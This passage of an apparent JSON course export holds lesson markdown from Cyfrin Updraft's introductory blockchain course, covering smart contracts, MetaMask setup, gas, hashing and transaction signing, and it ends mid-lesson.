hope you've enjoyed it and learned a lot. We've covered a lot of ground, and you should be proud of yourself for making it this far. Now, let's take a look at some nice tools and resources that will help you continue your journey.\n\n## Resources That Cannot Be Missed\n\nContinuing your journey through security education and fine-tuning those skills you just acquired is also essential:\n\n- [Damn Vulnerable DeFi](https://www.damnvulnerabledefi.xyz/), crafted by a developer named Tincho, is a fascinating game that draws you right into the heart of offensive security in Ethereum’s smart contracts.\n\n- A kinetically engaging way of learning, [Ethernaut](https://ethernaut.openzeppelin.com/) offers an immersive game-like environment perfect for understanding Solidity and smart contract vulnerabilities.\n\n\"Auditing\n\n## For The Aesthetes: Insights into Smart Contract Auditing\n\nOne vital aspect of this space is auditing. If you're looking to be an auditor, [Solidit](https://solodit.xyz/) is an excellent tool for accessing audit reports from the most accomplished smart contract security professionals in the industry. Here at [Cyfrin](https://www.cyfrin.io/), we do smart contract security and auditing too, so don't hesitate to reach out.\n\n## Sharpen Your Saw: Further Learning and Opportunities\n\nAlthough we have dipped quite deep into the iceberg that is security in this course, you must understand that there's still so much more to explore, and we're working on providing further security-based education, so stay tuned. However, to kick things off in your advanced security journey.\n\nThis marks the end of the security lesson, but not of your journey. Now that you're armed with deep insights into the Web Three developer space, it might seem daunting to contemplate your next move. No worries though; here's the answer: apply your new knowledge. Whether you're joining a hackathon, delving into GitHub repos, or applying for jobs and grants, it's critical to utilize and develop your skills.\n\n---\n\nThanks to all who took the course and contributed to its creation. It's been a thrill to share this journey, and the excitement continues as we watch you dive in, continue your learning, and march forward, building on the cutting-edge technology our field offers. We look forward to seeing you in the Web Three and blockchain community and can’t wait to admire the wonderful things you build. Until then, happy coding!\n\nBye!\n", + "updates": [] + } + ] + } + ] + }, + { + "id": "32bb0733-5e24-4b43-959f-76f85d2bb5c6", + "title": "Blockchain Basics", + "slug": "blockchain-basics", + "folderName": "blockchain-basics", + "lastUpdated": "Thu Dec 14 2023 10:13:16 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/v1701193477/updraft/courses/nq7uojmdogr2dijnokng.png", + "description": "Kickstart your web3 career. Start from the complete blockchain fundamentals and build your knowledge from here!", + "path": "Foundations", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/path-solidity-developer-2023/discussions", + "overview": { + "learnings": "What is a blockchain, How do blockchains work, Proof of work, smart contracts basics, blockchain transactions", + "preRequisites": [] + }, + "duration": 3, + "authors": [ + { + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" + } + ], + "sections": [ + { + "number": 1, + "id": "b52c8210-bf43-4b4a-b868-9800aa458945", + "title": "Blockchain Basics", + "slug": "basics", + "folderName": "1-basics", + "lessons": [ + { + "id": "a0e53ee0-46d4-4bde-aa69-1300180d41a3", + "number": 1, + "title": "Welcome to Updraft!", + "slug": "welcome-to-updraft", + "folderName": "1-welcome", + "description": "Welcome to the course!", + "duration": 13, + "videoUrl": "oF4TsyFH3Yw", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/1-welcome/+page.md", + "markdownContent": "---\ntitle: Welcome to the course!\n---\n\nYou can follow along with this section of the course here. \n\n\n\n*Quick tip, we will be constantly using resources from the [GitHub Repo](https://github.com/Cyfrin/foundry-full-course-f23/)*\n\n\n# Welcome to the Ultimate Solidity, Smart Contract, and Web Three Blockchain Developer Course (Foundry Edition)\n\nHello and welcome! If you're interested in the world of Web3 development, then you're in the right place. This is the most cutting edge and comprehensive course ever created. \n\nLet's talk about:\n- Why you should take this course\n- What we do in this course\n- What to expect\n\n## Why Take This Course?\n\nWith the massive demand for Solidity and Smart Contract developers, this course is a golden opportunity to launch, advance, or switch to a career in the Web3. As you navigate the course, you will learn how to work with AI tools so that you can fast-track your learning journey and become a proficient (as we like to call it) '10x developer'.\n\nBefore you fret about being a coding novice, let me assure you that this course is designed for learners at all levels. If you're an experienced Smart Contract engineer or familiar with blockchain development, you're welcome to skip around and cherry-pick modules that interest you. But most importantly, this course aims to turn you into a pioneering force within the new realms of Web Three and cryptocurrency.\n\n## Who are we? \n\nNow, you may be wondering who's narrating your journey through this pivotal course. My name is Patrick Collins, a seasoned Smart Contract engineer, security researcher, and dedicated advocate for Web3. I co-founded Cyfrin, a Smart Contract security & education company firm, and I've shared my expertise on [YouTube](https://www.youtube.com/c/patrickcollins) and across other Web3 educational platforms as well.\n\nWith you now learning, on the #1 platform, Cyfrin Updraft. \n\n## What to Expect\n\nThis is not your run-of-the-mill course. Instead, it's a culmination of all the knowledge we've accumulated after years of working in this industry as a Smart Contract developers and security researchers. Our track record guarantees you'll exit the other side, armed with the knowledge necessary to make a significant impact in the cryptocurrency and blockchain industry.\n\nBeyond just teaching you to code, this course prepares you to maneuver the fast-growing DeFi, NFTs, DAOs, Tokens, and Upgradeable Smart Contracts domains, and more. By the end, you'll have a clear path forward and a wealth of economic opportunities at your disposal – all you need is the willingness to step up and seize these opportunities.\n\n## Best Practices to Shine in This Course\n\n\"git\n\nThese courses are vast and might seem overwhelming, so you must make the most out of it. For starters, take breaks, practice what you learn after every lesson, and don't skip the challenge-solving exercises.\n\n[Use the GitHub repo as your Bible!](https://github.com/Cyfrin/foundry-full-course-f23/) as it will have all the resources you'll need to succeed (we are slowly in the process of moving them over to Updraft.)\n\nAlso, tailor the course to your learning style. Adjust the pace of the course, mark your progress, and focus only on what interests you. Remember, a challenge is not a roadblock, but an opportunity to learn something new. Ask meaningful questions and interact with like-minded learners – this is just as important as grasping the actual technologies.\n\nLastly, as you dive deeper into this course, remember to take some time to understand the problem that your technology aims to solve. Start with the basics of blockchain in lesson one, and then dive into more complex subjects as you progress.\n\n## Let's Get Started\n\nArmed with this knowledge, you're now standing at the edge of the rabbit hole. Let the journey to become a proficient Web Three developer begin. Ready to unlock unprecedented opportunities? Let's get started with the basics of blockchain!\n\n## Welcome to the Ultimate Blockchain Rabbit Hole\n\nThank you so much for being here and showing interest in this revolutionary technology. I'm confident that you'll emerge from this course a triumphant developer, just like the thousands who've graduated from our previous courses. So, if you're ready to go down the rabbit hole, let's get froggy!", + "updates": [] + }, + { + "id": "a0e53ee0-46d4-4bde-aa69-1300180d41d2", + "number": 2, + "title": "What is a blockchain?", + "slug": "what-is-a-blockchain", + "folderName": "2-what-is-a-blockchain", + "description": "Introduction to blockchain technology, its evolution from Bitcoin to Ethereum, and the significance of smart contracts.", + "duration": 11, + "videoUrl": "bbBbq7T9Jjs", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/2-what-is-a-blockchain/+page.md", + "markdownContent": "---\ntitle: What is a Blockchain?\n---\n\nYou can follow along with this section of the course here. \n\n\nYou can follow along with this section of the course here. \n\n\n\n\n\n\n## Bitcoin and Blockchain\n\nYou might be familiar with **Bitcoin**, which is one of the first protocols to utilize the revolutionary blockchain technology. The Bitcoin Whitepaper, authored by the pseudonymous Satoshi Nakamoto, described how Bitcoin could facilitate peer-to-peer transactions within a decentralized network using cryptography. This gave rise to censorship-resistant finance and presented Bitcoin as a superior digital store of value, often referred to as *digital gold*. There is a fixed amount of Bitcoin, similar to the scarcity of gold. You can learn more about this in the [Bitcoin Whitepaper](https://bitcoin.org/bitcoin.pdf) available in the course's GitHub repository. \n\n## Ethereum and Smart Contracts\n\nA few years after Bitcoin's creation, Vitalik Buterin and others founded **Ethereum**, which builds upon the blockchain infrastructure, but with additional capabilities. With Ethereum, you can create decentralized transactions, organizations, and agreements without a centralized intermediary. This was achieved through the addition of **smart contracts**.\n\nThough the concept of smart contracts was originally conceived in 1994 by Nick Szabo, Ethereum made it a reality. Smart contracts are essentially code that executes instructions in a decentralized manner without needing a centralized authority. They are similar to traditional contracts but are executed on blockchain platforms.\n\n## The Oracle Problem\n\nHowever, smart contracts face a significant limitation – they cannot interact with or access data from the real world. This is known as the **Oracle Problem**. Blockchains are deterministic systems, so everything happens within their ecosystem. To make smart contracts more useful and capable of handling real-world data, they need external data and computation.\n\nOracles serve this purpose. They are devices or services that provide data to blockchains. To maintain decentralization, it's necessary to use a decentralized Oracle network rather than relying on a single source. This combination of on-chain logic with off-chain data leads to **hybrid smart contracts**.\n\n## Chainlink\n\n**Chainlink** is a popular decentralized Oracle network that enables smart contracts to access external data and computation. It is modular and blockchain-agnostic, meaning it can be used with Ethereum, Avalanche, Polygon, Solana, or any other blockchain.\n\n## Layer 2 Scaling Solutions\n\nAs blockchains grow, they face scaling issues. Layer 2, or L2, solutions have been developed to address this. L2 solutions involve other blockchains hooking into the main blockchain, essentially allowing it to scale. There are two primary types of L2 solutions: optimistic rollups and zero-knowledge rollups. We will explore these more in the later sections of this course.\n\n## Decentralized Applications (DApps)\n\nThroughout this course, you'll frequently encounter terms like DApp, decentralized protocol, or smart contract protocol, which essentially refer to the same concept. A **Decentralized Application (DApp)** usually comprises multiple smart contracts.\n\n## Web 3.0\n\nWeb 3.0, or **web3**, is a term used to describe the new paradigm of the internet powered by blockchain and smart contracts. Unlike the previous versions of the web, web3 is permissionless and relies on decentralized networks rather than centralized servers. This ushers in an era of censorship-resistant and transparent agreements and transactions, often called an ownership economy.\n\n## The Value of Smart Contracts\n\nNow, let's address what smart contracts truly represent. At their core, they enable *trust-minimized agreements* or, simply put, *unbreakable promises*. Additionally, they offer speed, efficiency, transparency, and several other benefits.\n\nThe technologies such as smart contracts, blockchain, web3, and cryptocurrencies encapsulate a revolutionary paradigm. They solve real-world problems and are instrumental in the creation of a more open, decentralized world.\n\nIn the next sections, we will dive into the technical aspects to understand how these technologies work under the hood. But before we get technical, let's understand the underlying value they bring.\n\nWhy are smart contracts a big deal? They solve genuine problems, and as the saying goes, a technology is only as good as the problem it solves.\n\n## Trust-Minimized Agreements\nThink of smart contracts as giving rise to unbreakable promises. Imagine an environment where agreements are executed exactly as intended without any party being able to alter or evade them post-commitment. This eliminates the necessity for trust among parties, which has immense implications across various sectors.\n\n## Speed and Efficiency\nSmart contracts execute automatically based on predetermined conditions. This automation allows for operations that would traditionally take days or even weeks to be completed in a matter of minutes or seconds.\n\n## Transparency and Security\nBlockchain’s immutable and transparent nature means that once a smart contract is deployed, its code can be seen by all, but it can't be changed. This openness can create a new level of accountability.\n\n## Bringing Real-world Data to Blockchain\nWith the integration of Oracles like Chainlink, smart contracts can interact with data outside their network. This feature is crucial for the adoption of smart contracts in various industries, including finance, supply chain, and insurance.\n\n## In Conclusion\nWe've taken a high-level view of the blockchain landscape, including its history and the problems that smart contracts solve. As we move forward, we'll delve into how these technologies work technically, how to create smart contracts, and how to deploy them on networks like Ethereum.\n\nThe knowledge you acquire here will not only be applicable to Ethereum but also to other blockchains like Avalanche, Polygon, Phantom Harmony, etc. Whether you are an aspiring developer, an entrepreneur, or just a technology enthusiast, understanding the fundamental concepts behind smart contracts and blockchain technology can be enormously beneficial.\n\nSo, let's embark on this journey to explore the world of decentralized applications and the boundless opportunities they present.\n\nIn the next section, we will start by setting up the development environment for smart contract creation. Stay tuned!", + "updates": [] + }, + { + "id": "3e87b91a-c18e-4152-a9f7-dac2a0aa7819", + "number": 3, + "title": "The purpose of smart contracts", + "slug": "the-purpose-of-smart-contracts", + "folderName": "3-the-purpose-of-smart-contracts", + "description": "Exploration of the purpose of smart contracts, their advantages over traditional agreements, and their impact on various industries.", + "duration": 14, + "videoUrl": "yPzY4ifyGjY", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/3-the-purpose-of-smart-contracts/+page.md", + "markdownContent": "---\ntitle: The Purpose Of Smart Contracts\n---\n\nYou can follow along with this section of the course here.\n\n\n\n## The Essence of Blockchain and Smart Contracts\n\nAlmost every interaction or transaction in our lives involves some form of agreement or contract. For instance, purchasing a chair involves a contract to buy lumber, assemble it, and sell the finished product. Your electricity supply is also based on an agreement between you and the electric company.\n\nTo make it more relatable, think of contracts and agreements as promises. When you get an oil change for your car, you're promised a service in exchange for money. Traditional contracts, however, require trust between parties, and this doesn’t always work in favor of honesty and fairness.\n\n### The Problem with Traditional Agreements\n\nLet's take an example: In the 80s and 90s, McDonald’s Monopoly game promised customers a chance to win money through game cards obtained with purchases. However, it turned out that the game was rigged by insiders who manipulated the system for their gain. Essentially, McDonald’s failed to keep its promise.\n\nThis example demonstrates that relying on trust within agreements can lead to fraudulent activities and broken promises.\n\n### Enter Smart Contracts\n\nWith smart contracts, we can eliminate the need for trust. A smart contract is an agreement or a set of instructions that are deployed on a decentralized blockchain. Once deployed, it cannot be altered, it automatically executes, and everyone can see its terms.\n\nImagine if McDonald’s Monopoly game was operated on a blockchain through a smart contract. The fraudulent activities would have been impossible due to the immutable, decentralized, and transparent nature of smart contracts.\n\n## Real-World Implications and Solutions\n\n### Financial Markets Access\n\nCentralized bodies, like traditional exchanges, have the power to restrict access to financial markets. This was evident when Robinhood restricted trading on certain assets in 2021. With decentralized exchanges like Uniswap, there is no central authority that can alter or limit market access. This introduces fairness and openness to the financial markets.\n\n### Banking and Trust\n\nTraditional banks have sometimes failed to keep the promise of safeguarding people's money, as seen during the Great Depression. Blockchain and smart contracts can ensure transparency and execute automated solvency checks, preventing the bank from becoming insolvent.\n\nThe core of blockchain and smart contracts lies in creating a trustless system where agreements are transparent, unchangeable, and executed without human intervention. This technology holds the potential to revolutionize industries and everyday agreements by ensuring honesty and fairness.\n\n#### Comparison\n\n- Traditional Agreements: Require trust in a centralized entity.\n- Smart Contracts: Transparent, decentralized, and tamper-proof.\n\nIn a scenario where you have to choose, smart contracts are an obvious choice as they cannot be manipulated or altered in anyone's favor.\n\n### Applications and Innovations\n\nSmart contracts are relatively new, but have already started transforming various markets. One such example is decentralized finance (DeFi), which has over 200 billion dollars in protocols. This movement is providing a more fair, accountable, and transparent financial system.\n\nMore industries are adopting smart contracts and blockchain due to the numerous advantages they offer. This results in trust-minimized agreements or what can be simply termed as unbreakable promises.\n\n### Beyond Trust Minimization\n\nIt is important to note that blockchain, smart contracts, and cryptocurrencies are not just about trust-minimized agreements. They offer security benefits, uptime advantages, execution speed, and much more.\n\n### Caution: Not All Are Equal\n\nHowever, beware of platforms that claim to be decentralized but are not in practice. An example from 2022 is the `SBF's FTX platform`. It presented itself as a Web3 platform, but was essentially a traditional Web2 company using cryptocurrency without the benefits of smart contracts.\n\nAs an emerging developer or user in this space, it's important to discern between legitimate projects and those that aren't contributing to the ethos of Web3.\n\n### Summary\n\n- Bitcoin was the first to bring blockchain technology and cryptocurrencies to the mainstream as a decentralized store of value.\n- Ethereum and other platforms took it a step further by enabling smart contracts, allowing for decentralized, trust-minimized agreements.\n- Smart contracts can interact with the real world through decentralized oracle networks like Chainlink. It combines on-chain logic with off-chain data, allowing smart contracts to have the features that traditional contracts have.\n- Digital currencies like Ethereum and Bitcoin have inherent value even without smart contracts. The decentralized, censorship-resistant nature of these currencies is a powerful aspect.\n", + "updates": [] + }, + { + "id": "39bb34be-6a9f-40f5-ba68-7956777d2d9d", + "number": 4, + "title": "Current smart contract landscape", + "slug": "smart-contract-landscape", + "folderName": "4-current-smart-contract-landscape", + "description": "Overview of the current landscape of smart contracts, their features like decentralization, transparency, and applications in different fields.", + "duration": 9, + "videoUrl": "q9UzRyWRPcY", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/4-current-smart-contract-landscape/+page.md", + "markdownContent": "---\ntitle: The Current Smart Contract Landscape\n---\n\nYou can follow along with this section of the course here. \n\n\n\n\n## Features of Smart Contracts\n\nSmart contracts come with various features that distinguish them from traditional agreements. \n\n### Decentralization\n\nThe first feature is decentralization; smart contracts do not rely on any centralized intermediary. Instead, they run on a blockchain which is maintained by thousands of individuals known as node operators. It's the collective effort of these node operators running the smart contracts that make the network decentralized. This aspect will be discussed more in-depth later.\n\n### Transparency and Flexibility\n\nTransparency is inherent to blockchain networks. Since all node operators can see everything happening on-chain, there is no room for unfair or hidden deals. This transparency ensures that everyone has access to the same information and plays by the same rules. \n\nIt is important to note that this transparency does not necessarily compromise privacy. Blockchain is pseudo-anonymous, meaning that your transactions are not directly tied to your real-world identity.\n\n### Speed and Efficiency\n\nSmart contracts and blockchain transactions are incredibly fast and efficient compared to traditional banking systems. For example, bank transfers, especially international ones, can take up to several weeks, whereas blockchain transactions happen almost instantly. This speed is not only convenient but also allows for more efficient interactions between parties.\n\n### Security and Immutability\n\nOnce a smart contract is deployed, it cannot be altered or tampered with. This immutability ensures that the terms of the contract are set in stone. This is a stark contrast to centralized systems where a server or database can be hacked, and data can be altered. The decentralized nature of blockchain makes hacking nearly impossible since an attacker would have to take control of more than half the nodes, which is significantly more challenging than compromising a single centralized server.\n\nAdditionally, the data on a blockchain is resilient. In a traditional system, if your computer and backups fail, you lose all your data. In contrast, in a blockchain, your data is replicated across thousands of nodes. Even if several nodes were to go down, your data would remain secure as long as there is at least one copy of the blockchain.\n\n### Elimination of Counterparty Risk\n\nSmart contracts eliminate the need for trust in transactions. Once a smart contract is deployed, its terms cannot be changed. This means that parties cannot alter the agreement based on greed or any other factors. This ensures that the agreement is enforced as originally intended.\n\nIn traditional systems, there is always a risk that the other party might not fulfill their end of the bargain. With smart contracts, this risk is eliminated, and agreements are enforced programmatically.\n\n## Applications of Smart Contracts\n\nSmart contracts have given rise to new industries and revolutionized existing ones.\n\n### Decentralized Finance (DeFi)\n\nDeFi, or Decentralized Finance, allows users to engage with financial markets without relying on centralized intermediaries. With smart contracts, users have transparent access to financial markets and can engage with sophisticated financial products efficiently and securely. We will provide practical examples of how to build and interact with DeFi protocols in upcoming lessons.\n\n### Decentralized Autonomous Organizations (DAOs)\n\nDAOs are governed entirely by smart contracts and operate in a decentralized manner. This structure offers benefits such as transparent governance, efficient engagement, and clear rules. DAOs are an evolution in politics and governance, and we will cover how to build and work with DAOs in future lessons.\n\n### Non-Fungible Tokens (NFTs)\n\nNFTs, or Non-Fungible Tokens, can be thought of as digital art or unique assets. NFTs have created new avenues for artists and creators to monetize their work. We will also cover how to create and interact with NFTs in this course.\n\n### Other Applications\n\nAnd then, maybe *you'll* be the one to discover the next iteration of smart contract applications!\n\n## Making Your First Transaction\n\nYou've gained a high-level understanding of smart contracts and their applications. It’s now time to dive into the practical aspect. In the next section, we will guide you through setting up a wallet and making your first transaction. Let's immerse ourselves in this new world.\n\n", + "updates": [] + }, + { + "id": "9a54e679-4c55-4947-a2ab-4bd749634a99", + "number": 5, + "title": "Setup your wallet - making your first transaction", + "slug": "metamask-setup-making-your-first-transaction", + "folderName": "5-making-your-first-transaction", + "description": "Guidance on setting up a Metamask wallet, understanding its interface, and the significance of secret recovery phrases in Ethereum transactions.", + "duration": 20, + "videoUrl": "DOCwvTT0mUM", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/5-making-your-first-transaction/+page.md", + "markdownContent": "---\ntitle: Making your first transaction\n---\n\nYou can follow along with this section of the course here. \n\n\n\n\n## Setting up Metamask for Ethereum Transactions\n\nIn this section, we will learn how to make a transaction on a test Ethereum blockchain using Metamask, a popular cryptocurrency wallet.\n\n### Visiting Ethereum Website\n\n- Go to the Ethereum website [ethereum.org](https://ethereum.org).\n\n### Understanding Blockchains\n\n- We will make our first transaction on a test Ethereum blockchain.\n- This process works the same across all EVM (Ethereum Virtual Machine) compatible blockchains and layer 2 solutions like Arbitrum, Ethereum, ZK Sync, etc.\n- EVM compatibility will be explained later.\n\n### Setting up Metamask Wallet\n\n1. To send a transaction on EVM chains, set up a wallet. We'll use Metamask as it's one of the most popular and easiest wallets.\n2. Go to [Metamask](https://metamask.io).\n3. Install the Metamask extension for your browser (e.g., Chrome, Firefox, or Brave).\n4. Once installed, you’ll see the extension in the top-right corner of your browser.\n5. Click \"Get Started\".\n6. Select \"Create a New Wallet\".\n7. Agree to help Metamask improve (optional).\n8. Create a password. Make sure it’s secure.\n\n **Note**: This wallet will be for development purposes, so you may use a weaker password. But never put real money into this wallet. Treat it as a real wallet to familiarize yourself with good wallet safety.\n\n### Secret Recovery Phrase (Master Key)\n\n1. Metamask will provide you with a secret recovery phrase.\n2. This is a series of 12 words generated when you first set up Metamask.\n3. The phrase allows you to recover your wallet and funds if you ever lose access.\n4. Secure your wallet by keeping your secret recovery phrase safe and secret. Write it down, store it in a safe deposit box, or use a secure password manager. Some even engrave their phrase on a metal plate.\n\n **Warning**: If anyone gets access to your secret recovery phrase, they can access and take all your funds. No one, including the Metamask team, can help you recover your wallet if you lose the phrase.\n\n5. Select \"Secure My Wallet\".\n6. Write down your secret recovery phrase and save it securely.\n7. Confirm by re-entering your phrase.\n8. Click \"Got it\" after creating your wallet.\n\n### Understanding the Metamask Interface\n\n1. You can see the interface of your Metamask wallet.\n2. Pin Metamask to the top of your browser for easy access.\n3. In Metamask, you can create multiple accounts. Each account has a different address.\n4. All accounts created in Metamask share the same secret phrase but have different private keys.\n\n **Note**: Access to the secret phrase grants control to all accounts, while access to a private key only grants control to a single account.\n\n### Selecting a Network\n\n1. At the top-right of the Metamask interface, you’ll see “Ethereum Mainnet”.\n2. Click on it to see all the networks that Metamask can access.\n\nIn this section, we have set up a Metamask wallet for development purposes and learned about the secret recovery phrase and its importance. In the next section, we will make a transaction on a test Ethereum blockchain.\n\n", + "updates": [] + }, + { + "id": "8f1efe3d-f43e-4e53-aa3f-0eff1b1afc1c", + "number": 6, + "title": "Introduction to gas", + "slug": "introduction-to-gas", + "folderName": "6-introduction-to-gas", + "description": "Introduction to the concept of 'gas' in Ethereum, its role in transactions, and the mechanics of calculating transaction fees.", + "duration": 10, + "videoUrl": "OtPMin2L8No", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/6-introduction-to-gas/+page.md", + "markdownContent": "---\ntitle: Introduction to Gas\n---\n\nYou can follow along with this section of the course here.\n\n---\n\nWelcome to our comprehensive guide on understanding Ethereum transactions. Here, we will discuss important concepts ranging from transaction fees and gas prices, mining incentives, computational measures in transactions, to hands-on experience of sending a transaction in Ethereum’s test network.\n\nLet's jump right in!\n\n## Transaction Fee and Gas Price: What are they?\n\n\"etherscan\n\nWhile inspecting an Ethereum transaction, two terms invariably catch the glance: \"transaction fee\" and \"gas price\". Let's clarify what they are and why they matter.\n\nThe transaction fee is the amount rewarded to the block producer for processing the transaction. It is paid in Ether or GWei. The gas price, also defined in either Ether or GWei, is the cost per unit of gas specified for the transaction. The higher the gas price, the greater the chance of the transaction being included in a block.\n\n> Gas price is not to be confused with gas. While gas refers to the computational effort required to execute the transaction, gas price is the cost per unit of that effort.\n\nWhen we click on \"more details\" in a transaction overview, we can see further information including the `gasLimit and Usage by transaction`.\n\nNow, let's address an important question: who gets these transaction fees and why?\n\n## The Role of Nodes in Blockchain\n\nBlockchains are run by a group of different nodes, sometimes referred to as miners or validators, depending on the network. These miners get incentivized for running the blockchain by earning a fraction of the native blockchain currency for processing transactions. For instance, Ethereum miners get paid in Ether, while those in Polygon get rewarded in MATIC, the native token of Polygon. This remuneration encourages people to continue running these nodes.\n\n## Understanding Gas in Transactions\n\nIn the context of transactions, gas signifies a unit of computational complexity.\n\nThe higher a transaction's complexity, the more gas it requires. For instance, common transactions like sending Ether are less complex and require relatively small amounts of gas. However, more sophisticated transactions like minting an NFT, deploying a smart contract, or depositing funds into a DeFi protocol, demand more gas due to their complexity.\n\nThe total transaction fee can be calculated by multiplying the gas used with the gas price in Ether (not GWei). Therefore, `Transaction fee = gasPrice * gasUsed`.\n\n## Hands-on: Sending an Ethereum Transaction\n\nIn any blockchain, making a transaction requires the payment of a transaction fee (in terms of the native token) to the blockchain nodes processing that transaction. Let's take an example of a transaction using the MetaMask extension, a popular Ethereum wallet.\n\nHere are the steps:\n\n1. Open MetaMask and click \"Expand View\".\n2. Choose the account to use for the transaction.\n3. Click on \"Send\".\n4. Select \"Transfer between my accounts\".\n5. Enter the account to send the Ether to, and the amount you wish to send.\n6. Click \"Next\". MetaMask will automatically calculate the gas fee for you. The total amount to be paid is the sum of the Ether value you're sending and the gas fee.\n7. Click \"Confirm\".\n\nThe transaction would now appear in the Activity tab of MetaMask. After a short while, the transaction gets processed, and you can view its details in a block explorer like Etherscan.\n\nYou have now executed your first blockchain transaction!\n\nDespite its simplicity, knowing how to process transactions with MetaMask is vital and empowers you to interact with protocols on the Ethereum network and other blockchains. However, to fully understand Ethereum and the blockchain landscape, it's crucial to delve into the details behind these transactions and the fundamental mechanics of blockchains.\n\nRemember, mastering the nuances of blockchain transactions and understanding the mechanics behind Ethereum will enable you to become a powerful developer in the decentralized world.\n\nStay tuned for more insights into the world of blockchain development!\n", + "updates": [] + }, + { + "id": "813188a3-0241-4fac-85f4-a05d1e5349cc", + "number": 7, + "title": "How do blockchains work", + "slug": "how-do-blockchains-work", + "folderName": "7-how-do-blockchains-work", + "description": "Detailed explanation of the working of blockchains, the importance of hash functions, and the concept of blockchain immutability.", + "duration": 18, + "videoUrl": "gRnebrIHMGM", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/7-how-do-blockchains-work/+page.md", + "markdownContent": "---\ntitle: How do blockchains work?\n---\n\nYou can follow along with this section of the course here.\n\n\n\nIn this in-depth tutorial, we're going to immerse ourselves in the complex yet captivating world of blockchain technology. Specifically, we're going to break down the process and the technology itself using a widely-praised and accessible demo available [here](https://andersbrownworth.com/blockchain/).\n\n## Understanding Hash Functions\n\n\n\nAt its simplest, a hash is a unique, fixed-length string that serves to identify any piece of data. When you input any kind of data into a hash function, it produces a hash. In this demo, the hash algorithm we'll focus on is SHA-256.\n\nIf I add `Patrick Collins` to our `SHA-256` algorithm, it will:\n\n1. Convert the letters to numbers\n2. Convert the numbers to a fixed-length “string” or “hash”\n\n`Patrick Collins` gets converted to `7e5b5a1a6b80e2908b534dd5728a998173d502469c37121dd63fca283068077c`\n\nEthereum, a popular blockchain platform, uses its own version of a hashing algorithm that isn't exactly SHA-256 but belongs to the SHA family. This doesn't change things significantly as we're primarily concentrating on the concept of hashing.\n\nIn the application, whatever data you enter into the data section, undergoes processing by the SHA-256 hash algorithm resulting in a unique hash.\n\n> For example, when I input my name as \"Patrick Collins,\" the resulting hash uniquely represents \"Patrick Collins.\" The fascinating aspect is, no matter how much data is input, the length of the generated hash string remains constant.\n\n## Blockchain: Building Block by Block\n\n\n\nNow that we've grasped the concept of hashing and fixed-length string, let's inspect the structure of a blockchain—a collection of \"blocks.\"\n\nA block takes the same data input, but instead of a singular data field, a block is divided into 'block', 'nunce', and 'data.' All three are then run through the hash algorithm, producing the hash for that block. Hence, even a minor change in the data leads to an entirely different hash, hence, invalidating the block.\n\nThe data input can also change through a process called \"mining\". In essence, mining involves the computational trial and error process of finding an acceptable value to produce a hash which typically follows a certain pattern, such as starting with four zeros. The value found, which satisfies this criterion, is known as the 'nunce'.\n\n## The Inherent Beauty of Blockchain: Immutability\n\n\n\nIn a blockchain, which is essentially a sequence of blocks, one block corresponds to the data of block 'nonce', 'nunce' and the hash of the previous block. As a result of this, the tampering of any single block invalidates the rest of the chain instantly, due to the cascading effect of the hash changes. This reveals the inherent feature of immutability in a blockchain.\n\n> For instance, even typing a single 'A' in the place of a 'B' in a block data would require the entire blockchain to be re-computed to restore validity, an extremely resource intensive operation.\n\n## Dissecting the Decentralization & Distributed Aspect\n\n\n\nMoving forward, the crux of blockchain's power lies in its decentralization or distributed nature. Under this system, multiple entities or \"peers\" run the blockchain technology, each holding equal weight and power. In the event of disparity between the blockchains run by different peers (due to tampering or otherwise), the majority hash wins, as the majority of the network agrees on it. Hence, in summary, the majority rules in the world of blockchain technology.\n\n## Interplay of Blockchain & Transactions\n\n\n\nA blockchain is much more than an immutable record—it is an efficient and secure medium for transactions. Just as we allowed ourselves to experiment with random strings of data, we can replace the data sections with transaction information. In the event of an attempt to tamper with a past transaction—for instance, transferring a higher amount of money from one peer to another—the rest of the blockchain immediately becomes invalid, and the tampered blockchain will stand out as different from the majority of honest blockchains.\n\n## Wrapping up with Private & Public Keys\n\nFinally, if you're wondering how the system ascertains the identities behind the transactions—consider Darcy sending $25 to Bingley—this is where public and private keys come into play. Without going too deep into this topic, these keys ensure the authenticity and non-repudiation of transactions.\n\nTo summarize, every transaction, block, and indeed the whole blockchain itself comes down to understanding the concept of a hash—this unique fixed-length string that is intrinsically linked with the original data. We've also underscored the importance of decentralization and highlighted how the concept of immutability plays into the system's security. Stay tuned for subsequent posts where we delve into topics like public and private keys, smart contracts, and more.\n", + "updates": [] + }, + { + "id": "a3c23224-9059-4be2-a5aa-d860451df2de", + "number": 8, + "title": "Signing transactions", + "slug": "signing-ethereum-transactions", + "folderName": "8-signing-transactions", + "description": "In-depth look at the process of signing blockchain transactions, the role of private and public keys, and their significance in maintaining security.", + "duration": 10, + "videoUrl": "gmMZ1N3xP7o", + "rawMarkdownUrl": "/routes/blockchain-basics/1-basics/8-signing-transactions/+page.md", + "markdownContent": "---\ntitle: Signing Transactions\n---\n\nYou can follow along with this section of the course here.\n\n\n\n# Understanding Blockchain Transaction Signatures, Private and Public Keys\n\nThe beauty and security of blockchain technology revolve around the privacy and secure nature of transactions. In this blog post, we will demystify this concept by digging deeper into how transaction signing, private and public keys, and other cryptographic pieces lend credence to blockchain transactions.\n\n\"public\n\n## What are Private and Public Keys?\n\nUnderstanding the relationship between private and public keys is essential to grasping the concept of blockchain transactions. In essence, a private key is a randomly generated secret key used to sign all transactions.\n\n```python\nprivate_key = generate_random()\n```\n\nThe private key is then passed through an algorithm (the Elliptic Curve Digital Signature Algorithm for Ethereum and Bitcoin) to create the corresponding public key. Both the private and public keys are central to the transaction process. However, while the private key must remain secret, the public key needs to be accessible to everyone.\n\n## How does Transaction Signing Happen?\n\nConsider a simple scenario; Darcy sends $400 to Bingley. To verify this transaction, Darcy uses her private key to sign the transaction.\n\n```python\nsignature = sign(data, private_key)\n```\n\nThis creates a unique message signature that can't be used to derive the private key, but can be verified using the public 